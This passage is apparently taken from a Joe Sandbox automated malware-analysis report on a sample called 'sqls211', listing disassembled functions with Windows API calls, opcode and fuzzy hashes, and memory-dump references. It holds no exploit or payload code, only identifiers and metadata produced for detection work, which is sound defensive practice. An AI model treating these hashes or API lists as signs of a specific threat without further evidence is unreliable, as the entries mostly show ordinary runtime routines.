Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 726e63f3b593431631490bf13e23f6b06197b6e269c713141a0df19a15f49f95
Instruction ID: f8cca00918f375a7ee0bcde4675e4bca1212bf0ce74e007ee70b73883032f57f
Opcode Fuzzy Hash: 726e63f3b593431631490bf13e23f6b06197b6e269c713141a0df19a15f49f95
Instruction Fuzzy Hash: 8D015E3A100348BAD7109F64EC45FAE77B8EF08750F108422FA05D72A0D7709965CBA6

Function 00CC6C74 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00CC6DDF,00000000,00000400), ref: 00CC6C74
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00CC6C95

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: bc155bd7904ed474d4a07d490dfdde8b31b7eba2decc267095f5e9cb88bf7c1c
Instruction ID: bb15be224b373f85a6c705c2bcc176f67f92f252fcb3f321e88e2a61eff1c9c5
Opcode Fuzzy Hash: bc155bd7904ed474d4a07d490dfdde8b31b7eba2decc267095f5e9cb88bf7c1c
Instruction Fuzzy Hash: 72D0C971348300BFFA110B628E06F2E7B99BF45B91F18C409B795E80E1CA789564E62A

Function 00CF19F4 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00CF19EF,?,?,00000008,?,?,00CF168F,00000000), ref: 00CF1C21

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 59e89c8ccafb069c514c2c2297b34b7cfbf5592ebf25109ac1b28718813c0d56
Instruction ID: 2a87a58a3597d47af7608b2016e9adef07123fdc4329ba587f160e8839ab1b72
Opcode Fuzzy Hash: 59e89c8ccafb069c514c2c2297b34b7cfbf5592ebf25109ac1b28718813c0d56
Instruction Fuzzy Hash: 57B16E71210608DFD755CF28C48AB657BE0FF45364F298658EEAACF2A1C335DA92CB41

Function 00CDF654 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CDF66A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 5af74344436509a668e42aaaa192bbfaee2923155b8f8a51ad82c618935798b3
Instruction ID: 83666db047a09911066ac5868eed1ac2a8c2c3cb20f9695ac21a090ecb0cac47
Opcode Fuzzy Hash: 5af74344436509a668e42aaaa192bbfaee2923155b8f8a51ad82c618935798b3
Instruction Fuzzy Hash: 16517E71A00619DFDB28CF54E8817AEB7F4FB58314F24852BD512EB3A1D374AA42CB61

Function 00CCB146 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00CCB16B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: d7fc1c42039572af1d7f744e9144ef583664df40de0ff75b3fcfa4039469d8b1
Instruction ID: 2361aea24d6c6df7140be6d26e42036374fc59f905605474a7f83d4599c31a12
Opcode Fuzzy Hash: d7fc1c42039572af1d7f744e9144ef583664df40de0ff75b3fcfa4039469d8b1
Instruction Fuzzy Hash: 2FF017B9E002188FDB18CB18EC92BE977B2EB88315F544299D519D3390C7B0AE84CE65

Function 00CC40FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 00CC41BC

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: a11fab5f79d7221be051c278063b1dc4256499fa3454e3175b948720a5fac858
Instruction ID: 39a2e00acb3e5a61890bda591f7188c1e9de8ea5b1207a5729ef8bdd1c913831
Opcode Fuzzy Hash: a11fab5f79d7221be051c278063b1dc4256499fa3454e3175b948720a5fac858
Instruction Fuzzy Hash: D4C13676A183818FC354CF29D880A5AFBE1BFC8308F19892DE998D7311D734E945CB96

Function 00CDF9D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F9F0,00CDF3A5), ref: 00CDF9DA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f74d8a8997d7c039c2c5cfb488a856382638142848cde2dd5f72325cdd2842b7
Instruction ID: 8028973fb022e60138ddea80e6a117f7bfa10d7d337e0f4e64088a8a45399b0c
Opcode Fuzzy Hash: f74d8a8997d7c039c2c5cfb488a856382638142848cde2dd5f72325cdd2842b7
Instruction Fuzzy Hash:

Function 00CEC030 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00CEC030

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0a7f4842a08ff4a46c05381a3101d5dd96c6c45d86c2c801a0a304ea5388d078
Instruction ID: 78d51fb1f0f409f87f5c6f2f30d8997644efc37af6cb556811808d24b56f4975
Opcode Fuzzy Hash: 0a7f4842a08ff4a46c05381a3101d5dd96c6c45d86c2c801a0a304ea5388d078
Instruction Fuzzy Hash: F1A02230203300FFC300CF30AF0CB2C3BE8AA283E2308802AB008C0230EB3080A0EB02

Function 00CD62CA Relevance: .8, Instructions: 829COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction ID: 4800f88b1e86e75450f3dcfaaf6479dd8a6896d350295f639f1d86295592b76c
Opcode Fuzzy Hash: 5f8113f2fe17e1fe5adf28291dd6dc1f64d00099287cbfcd1ac5a0770544dab2
Instruction Fuzzy Hash: 8062D8716047849FCB25CF38C8906B9BBE1AF95304F08896FD9EA8B346D734EA45DB11

Function 00CD77EF Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction ID: fef54d40e2703033dbe253ce4a96c79322c9da7c8e16fbe0704a9a3936c1a69f
Opcode Fuzzy Hash: bb9617cfb9dcd5ed73515ceaa1cdae9c81077d575e7d9551ef57e855e6e5c47f
Instruction Fuzzy Hash: FE62E97160C3458FCB15CF28C8909B9BBE1BFD5304F18866EE99A8B346E730E945DB15

Function 00CCF461 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction ID: 1d44ef139e8366c4eb9a77c592fcb3a50a9ddd27c72590be74b13c9e2213ba5a
Opcode Fuzzy Hash: 07bf4a65aa449dff48fd2b0c9f6b18a690921bffffe8b35fa307a18f9ecacfdb
Instruction Fuzzy Hash: 9F524A72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86

Function 00CD7153 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c92a67ae5353e33460d92115885762a57529239f7ca111212b4f30afe15c673
Instruction ID: c93040e91ec02349d0b661d2ba54cdc458eb74571675bb9554b60f212df0dc7c
Opcode Fuzzy Hash: 7c92a67ae5353e33460d92115885762a57529239f7ca111212b4f30afe15c673
Instruction Fuzzy Hash: 3412D3B16087069FC719CF28C490AB9B7E0FF94304F148A2EEA96C7780E334E995DB45

Function 00CCC426 Relevance: .5, Instructions: 454COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f7ee5601ba1f81d1223ced605bf6e85b0a91096ca14c1ed522844a63683ec7
Instruction ID: 3028f0a382ec455514df48a3bede132fc412d5613b4bfbd030c3bf78e78dd9bd
Opcode Fuzzy Hash: 00f7ee5601ba1f81d1223ced605bf6e85b0a91096ca14c1ed522844a63683ec7
Instruction Fuzzy Hash: 01F19A71A083418FC718CF29C5D4A2EBBE5EFDA354F144A2EF49AD7252D630EA45CB42

Function 00CD6CDC Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4ea7be89afbb94d878430ae473ac2f75459c75ed4f599bdf1a55a6c2b038028e
Instruction ID: 8e38d2af33534c81c1ed77906e0c655307167e88fbd08b26ed188992bed0657c
Opcode Fuzzy Hash: 4ea7be89afbb94d878430ae473ac2f75459c75ed4f599bdf1a55a6c2b038028e
Instruction Fuzzy Hash: 8CD1F8B16083408FDB14CF28C98475BBBE1BF89308F08456EFA999B342D774EA05CB56

Function 00CCE9B7 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7f57f11d5f313b0befa4210889344c6598b7e04a1cc343691f1f39d26a216d7
Instruction ID: ec66eb155e3c13712036ee14e0958eab93a223787c2a62ba54d81ffba5ee5f88
Opcode Fuzzy Hash: e7f57f11d5f313b0befa4210889344c6598b7e04a1cc343691f1f39d26a216d7
Instruction Fuzzy Hash: 2DE128755083948FC304CF29D89096ABFF0AF9A310F45495EF9D897392C235EA19DFA2

Function 00CD4088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction ID: ae8b1a342f7841b3e35451c7bde938ed2b53b82941bd6f8fc60a1bdaa7945338
Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction Fuzzy Hash: 789145B02003499BDB2CEF68D899BBE77D5EB60304F10092EE796873C2DB749646D352

Function 00CD43BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: 59add1a23be4f4217d4a2af988b56b097ea5d4b4075c0942baf6a74c3e6c820a
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 49813B713043469BDB2CDE68D8D5BBD77D4AB91308F00092FFB968B382DA70C9869756

Function 00CE51C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d041f0a8f5dbd3cc819f8b04bc32896f0aa3bdc0bb405eb29363f97ad8ee2281
Instruction ID: 5165a2e02f586c00ce4fff492c5b405c532668a075dd162694359eaf3e13a50b
Opcode Fuzzy Hash: d041f0a8f5dbd3cc819f8b04bc32896f0aa3bdc0bb405eb29363f97ad8ee2281
Instruction Fuzzy Hash: 4561CE75A00FC957CE389A6B58927BE2394EF0134CF14051AE763DF2D2D691DF429315

Function 00CE4F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: 720fbb2404c505c779ef9bcbd4913ef5a22e2bcc6c05a53a434c4f4322c7446c
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: DE514771600FC857DF3889AB8556FBF63C59B0270CF180919F8A3DB282C615EF4593A2

Function 00CCEFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e8f863423ef4e4540aa3dd23da30d753adef11de3c81f3744518a01fde8c4a
Instruction ID: cbd4fcb8d72f10f3037188f29dcffc4ef13c216df833b8a843ac56a5aa4b8320
Opcode Fuzzy Hash: c9e8f863423ef4e4540aa3dd23da30d753adef11de3c81f3744518a01fde8c4a
Instruction Fuzzy Hash: B651D3715083D58FD712CF24C18096EBFE2AE9A714F4909ADE4E95B243C231DB4BDB62

Function 00CD00B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID:
String ID:
API String ID:
